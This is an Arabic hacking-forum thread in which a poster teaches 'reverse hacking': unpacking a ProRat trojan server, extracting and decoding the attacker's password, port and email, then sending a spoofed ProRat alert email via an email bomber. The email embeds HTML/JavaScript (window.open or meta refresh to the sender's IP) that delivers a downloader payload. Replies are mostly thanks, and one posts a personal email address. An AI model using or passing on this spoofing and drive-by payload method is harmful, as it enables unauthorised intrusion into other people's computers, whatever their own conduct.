رد علي المخترقين بطريقه احترافيه

[dr hacker]

السلام عليكم--------------------------------------------------------------------------------

باسم الله الرحمن الرحيم

النهارده يا جماعه حبيت أشرح موضوع في غايه الخطورة وهو ما يسمى بالاختراق العكسي يعني تعكس عمليه الاختراق بشكل كلي بدل ما يخترقك الهاكر تخترقه انت... والصراحه شباب هذه من الأساليب التي أستخدمها بكثره في الإيقاع بالمخترق وتلقينه درسا قاسيا لن ينساه طيله حياته وحيحرمه يبقى هاكر بعد كده ههههههههههه .... طبعا الطريقه دي جامده بس الصراحه ما حبيتش أخليها سر عليكم. ووالله مش خسارة فيكم... المهم نخش في الموضوع على طول...

أول شيء ممكن نفكر فيه لما نحاول ننفذ عمليه الاختراق العكسي هي ازاي نقدر نوصل للمخترق للرد عليه... طبعا الطرق كثيرة بس انا حشرح اليوم أهم وأخطر طريقه فيهم وهي عن طريق السيرفر نفسه! حتقولي ازاي أقولك ان طبعا السيرفر بتاع المخترق بيكون مكتوب فيه العديد من المعلومات المهمه مثل الباسوورد للسيرفر, بورت الاختراق وأهم شيء ايميل الضحيه وهو الي يهمنا في الموضوع....يبقى اكيد فهمتم الي عاوز أوصله وهو تحليل السيرفر للحصول على المعلومات المهمه منه..

بإذن الله اليوم حشرح طريقه تحليل سيرفر البرورات طبعا لأن البرنامج ده منتشر بكثرة ومعظم المخترقين يستخدمونه بشكل أساسي..
المتطلبات:

1- برنامج UPX المشهور للتشفير

http://members.lycos.co.uk/rapid2sars/upx125w.zip

2- برنامج Hex Workshop 4.2
http://www.bpsoft.com/downloads/hw32v423.exe

3- برنامج Pe scan

http://www.3arabawys.com/up/file/pe-scan.zip

نبدأ:
في البدايه ولتسهيل الموضوع ضع كل من السيرفر وجميع البرامج المستخدمه في فولدر واحد معا.

بعد كده حنشتغل على برنامج Pe scan لمحاوله معرفه نوع البرنامج الذي ضغط السيرفر به وده طبعا لمحاوله فك ضغط هذا السيرفر لأن شغلنا كله مش حينفع الا على السيرفر الغير مضغوط:



1- اضغط هنا لاختيار السيرفر..

2-قم باختيار السيرفر.

3-هنا يتضح نوع تشفير السيرفر و كما هو موضح فالسيرفر مشفر ببرنامج upx .

4-اذا تفعلت هذه الخاصيه فبإمكانك فك التشفير من البرنامج نفسه.

واذا كانت غير مفعله كما هو واضح في الصوره نستخدم فك التشفير عن طريقupx
قم بفتح شاشة الدوس اذهب الي ابدأ start تشغيل run واكتب هذا الأمر لفتح الدوس command ثم انتقل الى الفولدر الموجود به السيرفر والبرنامج ثم نستخدم امر فك التشفير الي هو upx -d xxxx.xxxانتبه للأمر جيداً ( upx بعدين مسافه بعدين شرطه من دون شفت بعدين حرف d بعدين مسافه ومن ثم اكتب اسم الباتش مع الأمتداد) كما بالصورة:



اما اذا كان الباتش مشفر ببرنامج ASPACK او Fsg الأمر سهل جداً
طبعاً اذا كان مشفر ببرنامج Aspack سوف يخبر برنامج كشف تشفير الباتش الي هو pe-Scan
ويتيح لك فك تشفيره ايضاً من نفس البرنامج اما اذا كان مشفر ببرنامج Fsg فأنه لن يخبرك بذالك جرب تستخدم برنامج فك تشفير Fsg:

http://www.3arabawys.com/up/file/Unpack.rar



البرامج من اليمين الى اليسار هي:

1-فك تشفير upx

2-فك تشفير fsg

3-فك تشفير Aspac

الآن وبعد فك ضغط وتشفير السيرفر نفتحه ببرنامج Hex Workshop 4.2 كما بالشكل:



بعدها سوف يفتح معك برنامج Hex Workshop اضغط على Ctrl + F
واجعل طريقة البحث على Text Sting وادخل الكلمات التالية في مربع البحث:

1- لمعرفة باسورد السيرفر وهذا Sifre_atm=

2- لمعرفة البورت Port_atm=
وهو ضروري جداً لأن كثير من الهاكر المحترفين يغير البورت عن البورت الأفتراضي

3- لمعرفة الأيميل Mail_atm=

وهو ايميل الهاكر المدخل في اعدادت السيرفر الأيميل الي يوصلة تنبية الأيبي IP
وهو ما سنعرفه في المرحله القادمه وللمعلومية جميع المعلومات التي تحصل عليها مشفره..

=================================
ندخل كلمة البحث التالية Sifre_atm=



-هنا نكتب Sifre_atm= للبحث عن الكلمه السريه.

2-نختار Text string هنا.

3-ها هي الباسوورد المشفرة للسيرفر..

وباتباع الخطوات السابقه يمكننا ايجاد كل من الايميل واسم الضحيه ورقم البورتو الايسيكيو وغيرها من المعلومات المدخله بواسطه المخترق، انظر الصورة:



-اسم الضحيه.

2-ايميل المخترق.

3-بورت الاختراق.

4-الباسوورد.

طبعا ملاحظه مهمه وهي ان جميع هذه المعلومات مشفرة يعني غير حقيقيه وطبعا الصراحه دماغي واجعني وماليش نفس اشرح كيفيه فك التشفير بس انا عملت برنامج صغير على c++ يفكلك تشفير المعلومات دي والبرنامج في المرفقات....

بعد تنزيل البرنامج وتشغيله يظهر لك أول خيار يطلب منك ادخال عدد الحروف الموجوده في الشفرة ليس الشفره نفسها يعني لو بص على الصورة فوق بالتحديد على كلمه السر وهي rpt`mm نلاحظ ان عدد الحروف هو 6 حروف يبقى تكتب في البرنامج 6 وملاحظه مهمه ان البرنامج حيقبل منك 25 حرف كحد أقصى يعني لو الشفره أكبر من كده دخلها على مرتين, بعد كده يطلب منك ادخال الشفره نفسها قم بإدخالها والبرنامج حيفك تشفيرها ويجيبلك الشفرة الحقيقيه وخلي بالك في عمليه الادخال تتأثر بحاله الأحرف يعني a تختلف عن A مثال:



-عدد أحرف الشفره(أقصى عدد 25 حرف).

2-أدخل الشفره وهنا أدخلنا كلمه السر rpt`mm .

3-قام البرنامج هنا بفك الشفره وطلعت كلمه السر squall.

4- رساله اختر منها y اذا كنت تريد ادخال شفرة أخرى او n لو كنت تريد الخروج من البرنامج.

طبعا وعلى هذا المنوال ممكن تدخل الايميل او اسم الضحيه او البورت او رقم الايسيكيو الخ.....

مبروك! الوقتي نقدر نقول ان احنا حللنا السيرفر وحصلنا على المعلومات اللازمه عن المخترق تأتي الخطوة الأهم وهي القيام بعمليه الاختراق ... طيب 90% الضحيه حيستقبل رساله التبليغ على الايميل لذلك سوف أشرح كيفيه اختراقه بواسطه هذه الخاصيه...

طبعا بالنسبه لرسائل التبليغ بتوصل على الايميل بالشكل ده:



طبعا مكان الشطب اسم الضحيه...الوقتي مهمتنا ارسال رساله ملغومه لايميل المخترق يكون لها نفس العنوان لكي يفتحها وهو مطئن وسعيد بالاختراق وياحلاوه بووم اخترقناه بدل ما يخترقنا... هههههههه نفسي أشوف منظر وجهه في هذه اللحظه......

أول شيء نستخدم البرنامج الآتي Hirsemailbomber وهو مفجر ايميلات لكن ممكن نستخدمه في ارسال رسائل مجهوله او باستخدام عنوان اي ايميل تريده
http://www.3arabawys.com/up/file/Hirsemailbomber2.zip



- اكتب هنا ProRat V1.9:Fix-01 طبعا لو غير في العنوان على حسب نسخه البرورات يعني لو نسخته 6 اكتب ProRat V6.0 وهكذا.والي مش متأكد من النسخه يكتب فقط PRORAT.

2- اكتب هنا ProRat@Yahoo.Com طبعا غير @yahoo.com على حسب نوع ايميل المخترق يعني لو ايميله هوتميل اكتب @hotmail.com وهكذا. ويفضل تركها @yahoo.com

3-اتركها فارغه.

4-اكتب ايميل المخترق(كمان شويه حيبقى ضحيه مش مخترق ههههه).

5-اتركها فارغه.

6-اكتب سيرفر ايميل المخترق.

7-غيرها الى HTML.

8-اكتب هنا ProRat [victum Online] طبعا غير victum باسم الضحيه الي انت طلعته من تحليل السيرفر.

9-الخطوه الأهم هنا انا شارحها قبل كده تحط الكود ده :


كود HTML:

<SCRIPT LANGUAGE='JavaScript'>window.open('http://127.0.0.1/1.jpg','','left=1000,top=1000,width=1,height=1');</SCRIPT>



أو الكود ده:


كود HTML:

<meta http-equiv=Refresh content="0; url=http://127.0.0.1/1.jpg">


ملاحظه مهمه بالنسبه للودين السابقين استبدل الرقم 127.0.0.1 برقم الايبي الخاص بجهازك.

وطبعا لازم تستخدم برنامج evil-HTTP أو DOWNLOADER والي مش فاهم الطريقه دي يروح للموضوع ده يقرأه كويس وهو حيفهم كل حاجه:

http://www.3arabawys.com/vb/showthread.php?t=23469

الخيارات الباقيه في البرنامج سيبها زي ما هي...

طبعا بعد كده اضغط على Start Bomb لإرسال الرساله وطبعا خليك فاتح برنامج Evil-http أو downloader واستنى الضحيه يفتح الايميل ويقع في الفخ..

الحمد لله انتهيت من الموضوع الطويل ده...
بقي أن اقول ان الهاكر المحترف لا يعتمد على أفكار الغير بشكل أساسي بل يحاول تطوير نفسه بقدر الإمكان وايجاد فكر جديده للإيقاع بالضحيه...

يريت تكونوا استفدتوا من الموضوع والرجاء عدم نقله الى منتديات اخرى الى بإذن الكاتب الي هو أنا...


تحياتي...
dr hacker

الملفات المرفقة Squall_encoder.zip
http://www.3arabawys.com/vb/attachme...achmentid=6351

[คђ๓є๔ ๓๏รtคŦค]

مشكور على الموضوووووووع

[mosera]

enta teslam edak 3ala el mawdo3 da bijad ta3abnak ma3ana
yalla mesh 7ateghla 3alena
hhhhh
bas bijad testa7e9 el shokrrrrrrrrrrrrrrr

[سيدالاحزان]

السلام عليكم انا صديقكم الجديد سيد الاحزان
خلق الجمال ويقول اتقو فكيف نرى الجمال ولا نعشق

[سيدالاحزان]

saidalahzan3033620@yahoo.com

[dark_man530]

مشكور حبيبى بس الصور مش ظاهرة ليى يا قلبى بارك الله فيك حبيبى ودمت لنا بود